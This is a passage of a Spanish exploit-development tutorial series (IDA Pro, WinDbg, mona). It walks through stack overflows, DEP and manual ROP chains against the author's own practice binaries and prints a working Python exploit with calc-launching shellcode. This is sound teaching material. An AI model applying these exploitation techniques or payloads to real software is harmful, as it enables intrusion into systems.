Si todo va bien se podría explotar, ya veremos cómo continuar con la explotación de este
ejemplo más adelante ahora en las partes siguientes vamos a seguir con la teoría que falta
y algunos ejemplos sencillos programados por mi para que practiquen yo ya trabajé mucho
jeje.
Es de notar que la extensión del archivo debe ser ty+ si no no pasa por la parte vulnerable,
si la cambiamos.

Hasta la parte 32.


Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
32
_________________________________________________________________________

Preparando Windbg para trabajar con IDA.

Una de las cosas que nos faltan instalar es Windbg, que puede ser manejado desde la
interfase de IDA y que es un gran debugger, quizás le falta comodidad ya que es casi todo
comandos tipo consola y se complica un poco de manejar, pero podemos utilizar la gran
interfase que tiene IDA, con Windbg debuggeando detrás, muy útil cuando se desea
debuggear kernel, o tener una buena información del estado del heap en bugs tipo heap
overflow o use after free que veremos más adelante.

Hay muchas formas de instalar el WINDBG, lamentablemente varían y tendrán que probar
la que a ustedes les va, como yo estoy en Windows 10 fui a la pagina de Microsoft para
bajar el Windows 10 SDK.

Allí me baje el instalador y cuando me da las opciones solo elegí que instale las
DEBUGGING TOOLS FOR WINDOWS.
Desmarcando las otras opciones instalará el Windbg, como cada Windows tiene su SDK,
podrán hacer lo mismo en otros Windows, y instalar el que corresponde a su sistema, al
menos en este caso sabemos que va bien.

Luego debo ir a la carpeta cfg dentro de la instalación del IDA y buscar IDA.CFG.

Edito ese archivo y le tengo que poner el path en DBGTOOLS a donde está instalado el
windbg x86, en mi caso se encuentra en.
Así que en el archivo IDA.CFG busco DBGTOOLS.

Y le agrego el path exacto, agregando la doble barra \\ en vez de la barra simple para
separar las carpetas, deje comentado el path original que traía justo arriba.
Abro cualquier ejecutable, y le pongo un BREAKPOINT para que pare y cambio el debugger
a Windbg.

Luego veremos si quedo bien, arrancamos el ejecutable, si nos dice que no encuentra el
WINDBG deberán revisar el path, o algo fallo en la instalación, lo cual puede pasar, creo
que la única forma de ver el problema es mirar con Process Monitor que archivos busca al
arrancar y donde, para ver lo que falla.

Allí paró tal cual fuera el Win32 local debugger de IDA, pero vemos que abajo donde esta
normalmente la barra de Python nos aparece WINDBG (sino aparece investiguen y manden
como lo solucionaron para agregarlo aquí en el tutorial), ademas clickeando en la palabra
WINDBG puedo cambiar a la barra de Python si necesito.

Esto quiere decir que la cosa va bien, que quedo bien instalado, podemos utilizar la GUI de
IDA y a la vez comandos de windbg, probemos algunos.
Funciono puedo ver la lista de módulos en la barra de Windbg, obviamente también en la de
IDA.

También debemos configurar los símbolos para el WINDBG, vemos que si hacemos

.reload

Me da error con los mismos al no estar configurado donde guardarlos.

Creemos una carpeta en C para los símbolos, obviamente IDA tiene que arrancar como
administrador sino no podrá escribir allí.
En las ENVIRONMENT VARIABLES o VARIABLES DE ENTORNO de Windows
agregaremos _NT_SYMBOL_PATH.
Y como valores ponemos por ejemplo.

Allí pondre el path a la carpeta que cree donde se bajara los símbolos, en mi caso sera la
carpeta symbols en C.
Reinicio la maquina o al menos el explorador de Windows (el proceso explorer.exe
matándolo y arrancándolo desde la barra de procesos)

Y ahora cuando arranco de nuevo el IDA y arranco a debuggear con el windbg, ya vemos
que se empieza a tratar de bajar los símbolos muestra ventanas de downloading y al
finalizar con lm, vemos que aparece el path que pusimos y dentro de la carpeta de los
símbolos están los pdb.
Ya lo tenemos configurado para trabajar.

Con x podemos ver la lista de funciones de kernel32 por ejemplo si queremos podemos
usar comodines.
Las que empiezan por He.

Por supuesto también en IDA, en la lista de módulos puedo hacer click derecho LOAD
SYMBOLS de algún modulo.

Y también los tendré en la interfase del IDA.

Tengo la posibilidad de poner breakpoints desde la interfase de IDA como lo hacemos


normalmente con F2 y desde la barra de windbg los que lo manejara el mismo.
Si hago BL para listar los breakpoints del windbg.

Vemos que en windbg se listan todos los breakpoints, mientras que en el listado de IDA solo
aparecerán los de IDA aunque siempre parara en todos.

Bueno por ahora lo dejaremos aquí es importante que vayan preparando la instalación para
que funcione bien a veces hay problemas con eso, así que en la siguiente parte seguiremos
adelante.
Hasta la parte 33.
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
33
_________________________________________________________________________

Vamos a instalar un par de plugins para el Windbg que nos ayudarán más adelante cuando
trabajemos.
Lamentablemente estos plugins solo corren en Windbg, pero si los corres en el windbg
incluido en el IDA lo hacen crashear a este último, posiblemente porque se conflictúa con el
Python incluido en IDA, pero bueno los usaremos en el windbg separado cuando los
necesitemos.

Copiaremos los archivos que adjunte en la carpeta winext, que se encuentra dentro de la
carpeta donde esta instalado el windbg y instalo el runtime vcredist_x86.exe.

Luego debo configurar las variables de entorno del sistema.


Agregue una variable PYTHONPATH, a la cual le pongo el directorio de Python, luego
punto y coma y luego el directorio de winext en mi caso queda.

C:\Python27;C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\winext

y a la variable Path que ya existía le agrego al final un punto y coma y C:\Python27\


Me fijo que tenga la barra al final, lo agrego en variables de sistema también a path.

Bueno luego de reiniciar la máquina o matar el explorador de Windows, ya deberíamos en


cualquier consola poder tipear Python y que lo acepte.

Y lo último bajarse las últimas versiones de


windbglib.py https://github.com/corelan/windbglib/raw/master/windbglib.py

mona.py from https://github.com/corelan/mona/raw/master/mona.py

y copiarlas a la misma carpeta donde esta el windbg.exe

Con eso ya debería funcionar probemos arranquemos windbg suelto, sin IDA, si les llega a
fallar seguramente les faltara algún runtime, si no debería funcionar correctamente.

Con CTRL + E abrimos algún ejecutable.

Cuando se detiene tipeamos.

!load pykd.pyd

No pasara nada pero no debe dar error.

Con !py puedo ejecutar scripts, si pongo el path del mismo a continuación, pero al menos
por ahora abri una consola de Python.

Allí puedo ejecutar también comandos de Python.


Ahora probare mona, salgo de la consola con exit() y tipeo

!Load pykd.pyd

!py mona

probemos algunos comandos

!py mona modules

Vemos las protecciones de los módulos que están corriendo, ya las estudiaremos más
adelante, ahora estamos preparando para poder tener todo listo para ir a fondo.
!py mona rop

Eso tardara muchísimo, intentará ver si hay algún modulo donde pueda generar un ROP
(más adelante veremos lo que es) y tratara de construirlo.

A veces podrá crearlo a veces no, pero al menos vemos que está funcionando.

Vemos que devolvió lo que pudo y como no arranque el windbg como administrador no
pudo escribir el archivo con la salida, pero igual la imprime.
Podemos chequear si hay un update de mona.
Atacheando a un proceso que está corriendo, en este caso el notepad++

Puedo ver el estado del heap.

Ya profundizaremos sobre esto, de cualquier manera el windbg también tiene comandos de


heap sin usar mona, que podemos usar dentro de IDA.
Así que estamos bien, al menos si necesitamos tenemos varias opciones, dentro y fuera de
IDA y lo tenemos todo instalado para ir adelante.

Más comandos para divertirse (tiene miles jeje)

!py mona assemble -s "jmp esp"

!py mona getiat

La verdad tiene muchos comandos útiles este para ver las funciones importadas.(aunque
tarda mucho)
Conviene ejecutarlo como administrador para que guarde tanta información en un archivo
podemos obtener también info de una dirección, por ejemplo.

!py mona info -a dirección.

Bueno nos divertimos un rato, y de paso ya lo tenemos instalado para seguir adelante, nos
vemos en la parte 34.

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
34
_________________________________________________________________________

Vamos a comenzar con la explotación y la posible ejecución de código, por supuesto


tenemos que tener en cuenta e ir aprendiendo las mitigaciones y protecciones que se fueron
agregando para evitar esto, a veces podremos evitarlas y a veces no, la idea es ir poco a
poco estudiándolas, primero veamos algunas definiciones importantes.

QUE ES DEP?

Dejemosle la definición a Microsoft jeje, la realidad es que hay varias formas de activar
DEP, una por ejemplo en las propiedades del sistema.

Estoy en Windows 10 y está seteado DEP para los programas y servicios esenciales, esa
es la configuración por default, lo cual quiere decir que hay programas que no tienen DEP
por default.
Por supuesto se puede cambiar a la otra opción de que todos los programas tengan DEP, lo
cual obviamente ayuda un poco mas a evitar la ejecución de código.

Además de la configuración del sistema, cada programa puede activar DEP por su cuenta.
usando una api que Microsoft provee para ello.

Resumiendo DEP cambia los permisos de las páginas donde se alojan datos, stack, heap
etc, para evitar que podamos ejecutar código allí.

Dado que DEP se maneja por proceso, tiene varias formas de activarse y puede hacerse en
tiempo de ejecución, debemos mirar la lista de procesos con PROCESS EXPLORER la cual
tiene una columna que nos dice el estado del DEP de cada proceso.

https://technet.microsoft.com/en-us/sysinternals/processexplorer.aspx
Allí está, debemos correrlo como administrador le agregamos haciendo click derecho en la
barra de columnas y eligiendo SELECT COLUMNS.

Vemos que la mayoría de los procesos lo tienen habilitado y alguno que otro deshabilitado.
Obviamente los procesos de sistema lo tienen siempre habilitado y los programas de
terceros, algunos sí otros no.

Bueno la cuestión es que el DEP solo este habilitado no es gran cosa, pues puede ser
bypaseado, el DEP gana fuerza cuando se combina completamente con otras protecciones
que más adelante veremos.

Uno de los principales métodos para bypasear el DEP es el ROP o return oriented
programming.

La idea cuando no existe DEP, y por ejemplo pisamos un return address al desbordar un
stack overflow, es que normalmente saltamos a un JMP ESP o CALL ESP que devuelve la
ejecución al stack y continuaba ejecutando mi código que se encontraba debajo del JMP
ESP.

Pero la idea general del ROP es, en vez de saltar a un JMP ESP, ir saltando a pedazos de
código llamados gadgets que son código ejecutable del programa que terminan en un RET
(los gadgets son parte de algún módulo por eso allí podemos ejecutar) y con eso enhebrar
una llamada poco a poco a alguna api como VirtualProtect o VirtualAlloc que cambie y le de
permiso de ejecución al stack o al heap donde esta mi código, para finalmente saltar a
ejecutar al mismo.

O sea que si un exploit que pisa un return address por ejemplo sin DEP era

“A” * 200 + direccion_jmp_esp + código a ejecutar


ahora con DEP deberá ser en el mismo caso

“A” * 200 + rop + código a ejecutar

Donde el rop debe darle permiso a mi código a ejecutar.

Veremos un par de ejemplos primero sin DEP.

Allí tenemos un programa, tiene un buffer de 30 bytes decimal, y ingresa por argumento una
string que la copia con strcpy al buffer sin chequear el largo, por lo cual produce un buffer
overflow.

Por lo demás carga un modulo llamado Mypepe.dll ya veremos si se necesita o no.

Abramosolo en el LOADER del IDA.


Vemos que solo tiene dos argumentos en el main argc y argv, sabemos que argc es la
cantidad de argumentos que le pasamos por consola, por lo tanto si no es dos (el nombre
del ejecutable más un segundo argumento a continuación separado por espacio) se cerrará
ya que chequea eso.

Si la cantidad de argumentos no es 2 va al bloque rojo y imprime el mensaje de error y llega


al return sin hacer nada luego se cerrará, mientras que si la cantidad de argumentos es
correcta o sea 2, seguirá por el bloque verde, cargará el modulo y luego irá a la función
saluda, se ve feo el nombre voy a OPTIONS-DEMANGLE NAMES-NAMES.
Por si alguno no recuerda, argc es el numero de argumentos y argv es un array de punteros
, cada uno apunta a una string que es cada argumento, o sea que en el caso.

En 0x40109c ECX tiene el valor de argv, es un array de punteros

ARGV = [p_nombre_del_ejecutable, p_argumento1, p_argumento2…]

En IDA vemos que hace SHL EAX, 0 o sea que rota 0 bytes, quedando EAX igual que antes
o sea 4 en este caso.

Luego [ECX+EAX] devolverá el puntero a un argumento, si EAX es cero, devolverá el


puntero al nombre del ejecutable, si es 4 ya que cada puntero mide 4 bytes de largo, leerá
el puntero al segundo argumento y así sucesivamente.

En este caso como EAX vale 4, quedará en EDX el puntero al segundo argumento que
nosotros pasamos, que pasa como argumento a la función saluda.
En la función saluda, hay un argumento que es el puntero al argumento y una variable que
es un buffer donde copiará la string.

Como lo compile con símbolos, detecta que texto es del tipo puntero, y que apunta a una
string (o array de caracteres).

Por supuesto ese array puede ser del largo que queramos ya que lo tipeamos nosotros y no
hay límite ni chequeo.

Veamos el buffer.
Como lo compile con símbolos detectó que es un buffer, igual veamos las referencias donde
se usa.

Las referencias son LEA lo cual es otra pista si no supiéramos, además se usa como
Destino de un strcpy donde se usara como buffer de Destino, luego se usara para imprimir
su contenido.

Así que hagamos click derecho ARRAY.


Aquí no hay dudas, no hay más variables debajo, lo que hay debajo es el STORED EBP y el
RETURN ADDRESS, así que no hay duda que el buffer IDA lo medirá bien.(además tiene
los símbolos que lo ayudan con lo cual determina que es un buffer sin ayuda nuestra)

Así que para pisar el return address, cuánto debería ser el largo del argumento que
enviamos?

Marco la zona que voy a llenar empezando desde el buffer, y dejando fuera el return
address, y hago click derecho -ARRAY sin aceptar, solo para ver el largo que debe tener la
string que overflodee eso.
O sea que enviando 36 bytes decimal quedó justo para pisar el return address, así que si mi
código fuera.

Supuestamente las CCCCCCCC quedarían justo pisando el return address, podría probarlo
para eso configurare IDA como JUST IN TIME DEBUGGER, para eso desde una consola
con permiso de administrador voy a la carpeta donde esta el ejecutable del IDA.

-I# set IDA as just-in-time debugger (0 to disable and 1 to enable)

Al correr el script veo que salta a ejecutar la dirección 0xCCCCCCCC que yo puse en el
mismo, ya que pise el return address con la misma.
Allí veo que ahora ESP quedó apuntando justo debajo de las CCCCCCCC, así que si yo
agregara mas código debajo, y en vez de saltar a CCCCCCCC saltara a un JMP ESP,
saltaría a ejecutar dicho código (que buenos tiempos cuando no había DEP jeje)

Busco en la lista de módulos Mypepe.dll.

Hacemos click derecho para que lo analice y cargamos los símbolos del mismo, tardará un
rato, mientras en cualquier lugar del código arrancamos el plugin keypatcher y sin aceptar
vemos que la instrucción JMP ESP corresponde a la secuencia de bytes FF e4.
Cuando termina vemos que en la lista de funciones aparecen las de mypepe, voy a alguna.

Se ve bien busquemos a ver si hay algún JMP ESP.

SEARCH FOR-SEQUENCE OF BYTES y pongo FF e4.

Allí en 00x4010ba hay un JMP ESP, lo que si no podemos pasar ceros, pero como cuando
hace strcpy el sistema coloca un cero al final, no lo pondremos y dejaremos que el lo
coloque.
El problema es que el JMP ESP sirve solo para saltar si ponemos mas codigo debajo, pero
no podemos pasar mas codigo por el cero final del JMP ESP, así que saltaremos a un RET,
total justo debajo está el puntero a la string nuestra que se pasó como argumento.

Justo debajo del return address en el stack, está el puntero a nuestra string texto, así que si
saltamos a un RET volverá al codigo mio, pues ese ret lo devolverá allí usando ese puntero
como si fuera un return address nuevamente.

Ese es un buen RET pongamoslo.


Probemos.

Veo que ya salta a ejecutar mi código las CCCCCCCC que puse como shellcode, podría
ahora acomodar el codigo que quisiera alli y ejecutar lo que quiera total no hay DEP, lo
único que hay poco espacio porque le puse solo 30 bytes de largo lo que me impide hacer
grandes cosas, pero bueno la idea es esa.

Me arme un shellcode que ejecuta la calculadora

import struct
shellcode ="\xB8\x40\x50\x03\x78\xC7\x40\x04"+ "calc" +
"\x83\xC0\x04\x50\x68\x24\x98\x01\x78\x59\xFF\xD1"

fruta = shellcode + "A" * (36-len(shellcode)) + "\x3a\x10\x40"

#0x40103a ret

import subprocess
subprocess.call([r'C:\Users\ricna\Desktop\34\NO_DEP.exe', fruta])
Allí está crasheara, pero luego de ejecutar la calculadora que es el objetivo.

En las partes siguientes iremos agregando de a poco más ejercicios, luego algunos con
DEP, agregaremos ROP y iremos paso a paso.

Ricardo Narvaja
Hasta la parte 35
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
35
_________________________________________________________________________

He compilado dos ejecutables uno con DEP y otro sin DEP para poder hacerlos ambos, el
código es el mismo, pero en este caso en vez de cambiarlo en la compilación directamente
llamo a la api SetProcessDEPPolicy, en uno con el argumento 0 (sin dep) y el otro con el
argumento 1 (con DEP).

Si corro ambos y los veo en el Process Explorer, ambos están detenidos en el gets_s
esperando data, y ya pasaron por SetProcessDEPPolicy, así que el DEP está seteado en
ambos con la api.(en uno activado y en el otro no)

Estos ejemplos nos van a servir mejor que el anterior ya que el código es similar y el
anterior se quedaba un poco chico el buffer para poder hacer ROP.
El único plugin que nos faltaba instalar es el idasploiter.

https://github.com/iphelix/ida-sploiter

Es un .py que se baja de allí, apretando el botón CLONE OR DOWNLOAD y se copia el .py
a la carpeta plugins del IDA nada mas.

El código es similar en ambos, solo cambio de 0 a 1 el argumento de la función.

Bueno dado que es el primero, nos será más fácil analizarlo una sola vez ya que el
reversing será similar, teniendo el mismo código.
Lo haré en el que tiene DEP igual el análisis servirá para ambos.

Vemos que usa la api atoi para pasar a entero el numero que tipeamos como argumento y
lo guarda en la variable size que es signed, ya vemos que más abajo compara usando JG
que es una comparación con signo, así que se podrán pasar números negativos y estos
serán menores que 0x300, lo cual como size se pasa como argumento de la función saluda
y dentro de la misma se usa como un size de gets_s, la cual lo toma como unsigned,
provocando un posible overflow ya que permitirá ingresar más de 0x300 bytes en el buffer
de ese tamanio.
Carga el modulo Mypepe.dll usando LoadLibrary, podemos hacer demangle names para
que se vea mas lindo.

Ahora si se ve bien, aquí esta todo claro, veamos la función saluda.


Como lo compile con símbolos, ya detecta el buffer nombre y le pasa la dirección al get_s,
además del size, que es el argumento de esta función.

Veamos la representación del stack.

Allí veo que para desbordar el buffer y pisar el justo antes del stack necesito 772 bytes.

Así que en el gets debería ingresar algo como.


fruta="A" * 772 + struct.pack("<L",0xCCCCCCCC) + shellcode

Armemos el script, el mismo además debe ingresar el size negativo por argumento para
provocar el overflow.

Si lo ejecuto y atacheo el IDA que tiene el análisis del NO DEP.


Veo que está todo bien calculado, allí salta a 0xCCCCCCCC como puse en mi script.

Por supuesto al aceptar, ESP queda apuntando a mi shellcode en el stack y como no hay
DEP si en vez de saltar a CCCCCCCC saltara a un JMP ESP, CALL ESP o PUSH ESP-
RET en algún módulo sin randomización para que no se mueva, estaría listo.

Cortesía del IDA SPLOITER aparecerá otra lista de módulos, esta se encuentra en VIEW-
OPEN SUBVIEW-MODULES o SHIFT mas f6.
Allí vemos la lista de módulos, vemos que Mypepe.dll no tiene ASLR (randomización) así
que es un buen candidato para buscar el JMP ESP allí.

Vemos que si hacemos click derecho, tiene la opción SEARCH GADGETS que busca
pedazos de código que terminan en RET, una vez que hago que liste todos los gadgets,
puedo hacer CTRL mas F y buscar PUSH ESP.

Así que podría usar esa dirección aquí, no hay problema con los ceros, pues gets_s los
acepta.

Listo, el shellcode estaba hecho para Mypepe.dll así que funcionara igual que la vez
anterior.

La parte siguiente haremos el DEP.exe con ROP.


Hasta la parte 36.
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
36
_________________________________________________________________________

Bueno comenzaremos a trabajar con la versión que tiene DEP, sabemos que es similar pero
que pasa cuando le tiramos el script de la versión NO DEP.

Le cambiaremos el path en el script para que apunte a DEP.exe.

Lo lanzo y atacheo con el IDA que tiene el análisis del DEP.exe.


Le pondré para ver qué pasa un BREAKPOINT en la función saluda, justo después del gets
ya que el proceso queda esperando allí dentro de la api que lo atacheemos.

Allí paro lo traceare hasta el RET con f8.

Allí vemos el stack pisado, saltara al PUSH ESP - RET que está en 0x7800f7c1, no debería
haber problema aquí pues es una instrucción de la sección de código de un módulo y estas
secciones tienen permiso de ejecución siempre, apretemos f7.
Traceamos con F7.

Pushea el valor del registro ESP y luego llega al ret, allí saltará tal cual si fuera un return
address a ejecutar a 0x78fbc8 y allí está mi shellcode en el stack, en el NO DEP salto y
ejecutó ese shellcode que envié pero qué pasa aquí, apreto f7.

0078FBC4 0078FBC8 Stack[00005608]:0078FBC8


El código en el stack que en el NO DEP ejecutaba sin problemas, acá no me deja hacerlo
porque el DEP le quita permiso de ejecución al stack (al heap etc) quedando el mismo solo
con permiso de lectura y escritura.

Que se puede hacer?

Vemos que saltar al código de una librería como hicimos con el PUSH ESP-RET se puede y
esa es la idea del ROP, enhebrar gadgets que son pequeños códigos que terminan en RET
para lograr finalmente dar permiso de ejecución al stack, heap o lo que necesitemos.

Por ejemplo si quiero poner un valor en EAX, en vez de saltar al PUSH ESP-RET saltare a
un POP EAX-RET, buscaré un POP EAX-RET entre los gadgets del idasploiter en la librería
mypepe que no tiene ASLR.

Allí está el gadget en 0x78003d08.


Allí reemplazamos el salto al PUSH ESP -RET por nuestro incipiente rop que comienza con
un POP EAX, que mueve el valor que está justo debajo 0x41424344 a EAX y luego al llegar
al RET (recuerden que todo o casi todo gadget termina en un RET) salta al siguiente gadget
en 0xCCCCCCCC, mas adelante veré cual es, pero ejecutemos esto a ver que pasa
atacheemos de nuevo y traceemos como antes.

Al llegar al RET veo mi ROP el salto al POP EAX-RET, el 0x41424344 que terminará
moviéndose a EAX y el 0xCCCCCCCC donde debería poner el puntero al siguiente gadget,
traceemos con F7.
Saltamos a mi primer gadget es el POP EAX-RET sabemos que el POP saca el valor del
stack y lo mueve en este caso a EAX, si ejecuto con F7.

Allí se movió a EAX, y cómo llego a un RET saltará al siguiente gadget en este caso
0xCCCCCCCC, aún no lo tiene pero se deberá poner la dirección del siguiente gadget allí.

Y esto es el ROP enhebrar diferentes gadgets que hagan lo que yo quiero uno a
continuación del otro, por eso se llama ROP (RETURN ORIENTED PROGRAMMING)
porque estamos ejecutando código, sin poner nosotros las instrucciones solo ponemos una
lista de direcciones que apuntamos a pedazos de código que nos sirvan y listo.

Obviamente existe la forma automática y la forma manual de hacerlo, primero lo haremos


manualmente el que no lo necesita saltee esta parte y vaya a la parte siguiente donde se
hace automáticamente.
El método general es acomodar ciertos valores en los registros y luego saltar a un PUSHAD
RET ya veremos que eso acomoda todo, aunque hay miles de formas de hacer un ROP,
está en la más común.

Lo primero de todo es decidir cuál api usaremos para desproteger el stack en este caso,
podría ser VirtualAlloc o VirtualProtect, son las más usadas, aunque hay más.

Sabemos que hay dos pestañas modules ahora, la del idasploiter y la del IDA mismo, esta
última está en DEBUGGER-DEBUGGER WINDOWS-MODULE LIST, allí le haremos click
derecho a Mypepe y la analizaremos y haremos que cargue sus símbolos si tiene.

Como de Mypepe no tenemos los símbolos queda lindo, pero no agrega alguna información
como las funciones importadas que usa en la lista de funciones, solo están las propias de
Mypepe.

Pero bueno si buscamos como texto off_.

No necesito todas las ocurrencias solo una.


El call será el típico salto a una función importada de la IAT, ya que off_ como prefijo (no
confundir con OFFSET que es lo que indica dirección) en este caso significa que el
contenido de esa dirección donde saltara es también una dirección, como en el caso de la
IAT, vayamos allí.

Bueno mirando un poco entre las funciones de la IAT vemos VirtualAlloc, así que listo
prepararemos un ROP para ella (ya sabemos además que 0x7802e0b0 es la entrada de la
IAT de VA la abreviamos así desde ahora.)

La idea es acomodar estos valores en cada registro y luego mediante algún PUSHAD RET
enviarlos al stack y quedaran acomodados como argumentos de VirtualAlloc, no es magia
jeje.

Vemos que hay que poner un 0x90909090 en EAX ese gadget PUSH EAX-RET ya lo
habíamos agregado solo falta cambiar el valor que POPEA a EAX a 0x90909090, pero EAX
siempre conviene setearlo al último, porque puede ser necesario para setear otros valores,
nos conviene poner primero los más difíciles, en ESI debe estar la dirección de VirtualAlloc
y nosotros tenemos solo la entrada de la IAT, pero la dirección de la api cambiará, la
entrada de la IAT no, así que basándonos en la entrada, hallaremos la dirección y
funcionará siempre.

Para ello debemos buscar lo más fácil si hay un MOV ESI, [registro] -RET busquemos
entre los gadgets.

No hay, pero si hay

Está bien ponemos en EAX la dirección de la IAT más 4 y con esa instrucción movemos la
dirección de la api a EAX, en otro gadget posterior habrá que moverlo de EAX a ESI, pero
vayamos por partes pongamos todo esto y probémoslo.

La entrada de la IAT era 0x7802e0b0 le sumamos 4 y lo ponemos en EAX con el gadget


POP EAX-RET que ya teníamos.

Con eso tendremos la entrada de la IAT más 4 en EAX, el siguiente gadget será el que
hallamos.

780022DE mov eax, [eax-4] # retn


Allí encadenamos ambos gadgets, probémoslo a ver si hace lo que pensamos y queda la
dirección de VirtualAlloc en EAX.

Una de las incomodidades que veremos es que el idasploiter solo corre en modo debugging
así que si necesitamos debuggear se cerrará al reiniciar trabajando, igual se puede tener
otro IDA con el proceso detenido debuggeando para buscar en el IDA SPLOITER y
debuggear en otro.

Tracearemos el ROP que hicimos hasta ahora con f7.


Ahora moverá la dirección de la entrada de la IAT de VA más 4 a EAX.

Ahora saltará al segundo gadget, sigo con f7.

Ejecuto con F7.


Vemos que logramos nuestro objetivo en EAX quedo la dirección de la api y la sacamos de
la IAT, así que servirá para cualquier máquina, el siguiente gadget debería mover de EAX a
ESI dicha dirección de VA, para que quede en ESI donde corresponde.

No hay MOV ESI,EAX ni nada parecido, así que deberemos aguzar la imaginación, a pesar
de que los gadgets terminan normalmente en RET cualquier código que aunque no termine
en RET me permita continuar y retomar el control será también un gadget, aunque menos
tradicional servirá.

Si pusheo el valor de EAX al stack usando el gadget PUSH EAX-CALL ESI y preparó ESI
para tenga un POP ESI -RET, podría pasar EAX a ESI usando el stack veamos.
Así que pondré antes en ESI, el gadget a POP ESI-RET.

Vemos que el POP ESI, mueve a ESI el mismo puntero al POP ESI-RET para que después
del siguiente gadget se retome el control.
Pusheara al stack la dirección de VA y salta con CALL ESI de nuevo al POP ESI-RET ya
que habíamos guardado la dirección de POP ESI-RET en ESI.

Vemos que falla ya que mueve a ESI el return address que guardo y justo debajo esta la
dirección de VA, así que en vez de un POP ESI- RET este último debería ser un POP XXX,
POP ESI -RET para que saque el primer valor del stack a otro lado y luego si popee a ESI el
valor de VA.

Ahí esta, así que cambio este solo el que muevo a ESI, el otro debe quedar igual.
Probemos ahora.

Entro con F7

Listo ya está el primer objetivo, en ESI quedo la dirección de VA y va a saltar a


0xCCCCCCCC que es el siguiente gadget así que tengo el control nuevamente.
El siguiente será fácil en EBP hay que poner un JMP ESP. CALL ESP o PUSH ESP -RET
ya teníamos un PUSH ESP-RET solo tenemos que encontrar un POP EBP-RET para
moverlo a EBP.

Eso es el seteo de EBP, con eso lo tendremos seteado con su puntero a PUSH ESP-RET,
sigamos.
EDI =ROP NOP significa que debe apuntar a un RET que es el NOP en la programación
ROP, así que busquemos un POP EDI-RET para setear EDI.

Ponemos cualquier puntero a RET de Mypepe, lo moverá a EDI, sigamos.


Nos queda mover cuatro constantes 90909090 a EAX, 40 a ECX, 1000 a EDX y 1 a EBX,
buscaremos los pops respectivos y agregaremos las constantes.
Agreguémoslos al ROP.

Listo solo nos falta el gadget final que acomoda todo es un PUSHAD-RET.
Ahí está, el ADD AL, XX no hace nada porque hace el PUSHAD antes, así que guardara el
90909090 en el stack, agreguemos.

Con eso debería funcionar, traceemoslo completamente hasta llegar a VirtualAlloc.

Llegamos al PUSHAD

Se ve bien apretemos F7.


Llegamos a VirtualAlloc vemos los argumentos en el stack, el primero será el lugar donde
retornará luego de volver de la api, si miro será el PUSH ESP-RET, luego vienen los
argumentos de la api veamos.

La dirección a desproteger lpAdress apunta justo donde está mi shellcode.


Luego viene el size 1, que desprotegerá 0x1000 porque es el mínimo bloque a desproteger,
pongas lo que pongas menor que 0x1000, luego viene 0x1000 que es la constante de tipo
de allocacion y 0x40 que es el otra constante flprotect, si ejecuto hasta el RET de la api,
apretando CTRL más F7 veo que vuelve al PUSH ESP-RET.

Si en EAX devuelve una dirección está todo correcto y desprotegido, puedo ahora ejecutar
mi código sigo traceando con f7.

Vemos que llego a mi shellcode sin problemas y se ejecuta.(ALELUYA)


Y termina ejecutando la calculadora, por supuesto esto puede automatizarse, con mona
pero eso lo veremos en la parte siguiente.

VENCIMOS jeje.
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
37
_________________________________________________________________________

Bueno haremos el mismo ejemplo de la parte anterior pero esta vez usando mona dentro de
Windbg, sabemos que el mona no corre en IDA así que abrimos el Windbg separado de
IDA.

Desde una consola arranco el DEP.exe con algún argumento para que no se cierre y quede
esperando lo que se tipea por teclado.

Podría haberlo arrancado desde el WINDBG también, es indiferente, solo que hay que parar
en algún punto donde el modulo que usaremos para hacer ROP ya este cargada, no
importa que haya crasheado ya.
En este caso estamos dentro del gets_s y la Mypepe la cargo antes.

Me atacheo desde FILE-ATTACH TO PROCESS.


Cargar los símbolos no importa mucho pero bueno ya que estamos.

Ahí están los símbolos.

Bueno carguemos el mona.

Ahora pidámosle ROP para mypepe.dll veremos que hace.

!py mona rop -m Mypepe


Vayamos a tomarnos un café mientras trabaja tardará un rato largo.

Mientras termina comentemos que tiene opciones para decirle que busque direcciones sin
cero, para filtrar diferentes caracteres, etc está bastante bien, aunque no siempre encuentra
algún ROP completo, a veces te da un rop semi completo y te dice lo que falta, para que
uno lo halle uno a mano, así que siempre hay que remar un poco.

shh dejémoslo pensar jeje.

La opción -cp nos da la posibilidad de filtrar los resultados del ROP según diferentes
criterios, vemos que hay un nonnull para que no tenga ceros y varios más, también está la
posibilidad de filtrar numéricamente con cpb, para caracteres específicos.

Ahí termino veamos, escribe un texto bastante largo si lo hubiera arrancado como admin lo
guardaría a un txt pero no tenía permiso, igual copiaré aquí las partes más interesantes.
Vemos que nos muestra lo que deberían tener los registros antes del PUSHAD RET, que
usamos en la parte anterior, incluso nos da otra alternativa para VirtualAlloc, también es
bueno guardar lo que hay que acomodar en los registros cuando usamos VirtualProtect que
esta por ahí también.

Eso es bueno guardarlo por si lo hacemos a mano, saber que hay que colocar en cada
registro antes del PUSHAD-RET tanto para VirtualAlloc como para VirtualProtect, ahora
veamos si hallo algún ROP para VirtualAlloc.
Vemos que lo halló y lo hizo más fácil porque uso la otra forma que usa directamente la
entrada de la IAT en vez de la dirección de la API de esta forma salta en forma indirecta y
evita los traspasos de la dirección de VA entre registros.

Ahí vemos que ya está para Python, así que copiamos y pegamos en nuestro script.

Vemos que define una función, así que la copiare y pegare al inicio de mi script.
Y se la llama con:

rop_chain = create_rop_chain()

Pondremos eso en la parte principal del mi script para que me devuelva el rop.

Veamos si funciona.

Algo falló lo cual no es raro tracearemos el rop y veremos qué pasa.

Ya estamos atacheados con IDA ya podemos usarlo no necesitamos mona ahora.


Veamos en el caso que usa que hay que poner en cada registro.

Ese es el modelo alternativo que usa y vemos la diferencia fácil porque en ESI coloca un
JMP [EAX] mientras que el que use yo en ESI colocaba la dirección de VA.

Vayamos traceando a ver que pasa.

Su primer gadget es

Eso debería apuntar a un POP para saltear 4 bytes, ejecutémoslo y veamos que queda en
EBP.
Vemos que en EBP queda la misma dirección de este POP EBP-RET lo cual está bien.
Vamos con el siguiente gadget.

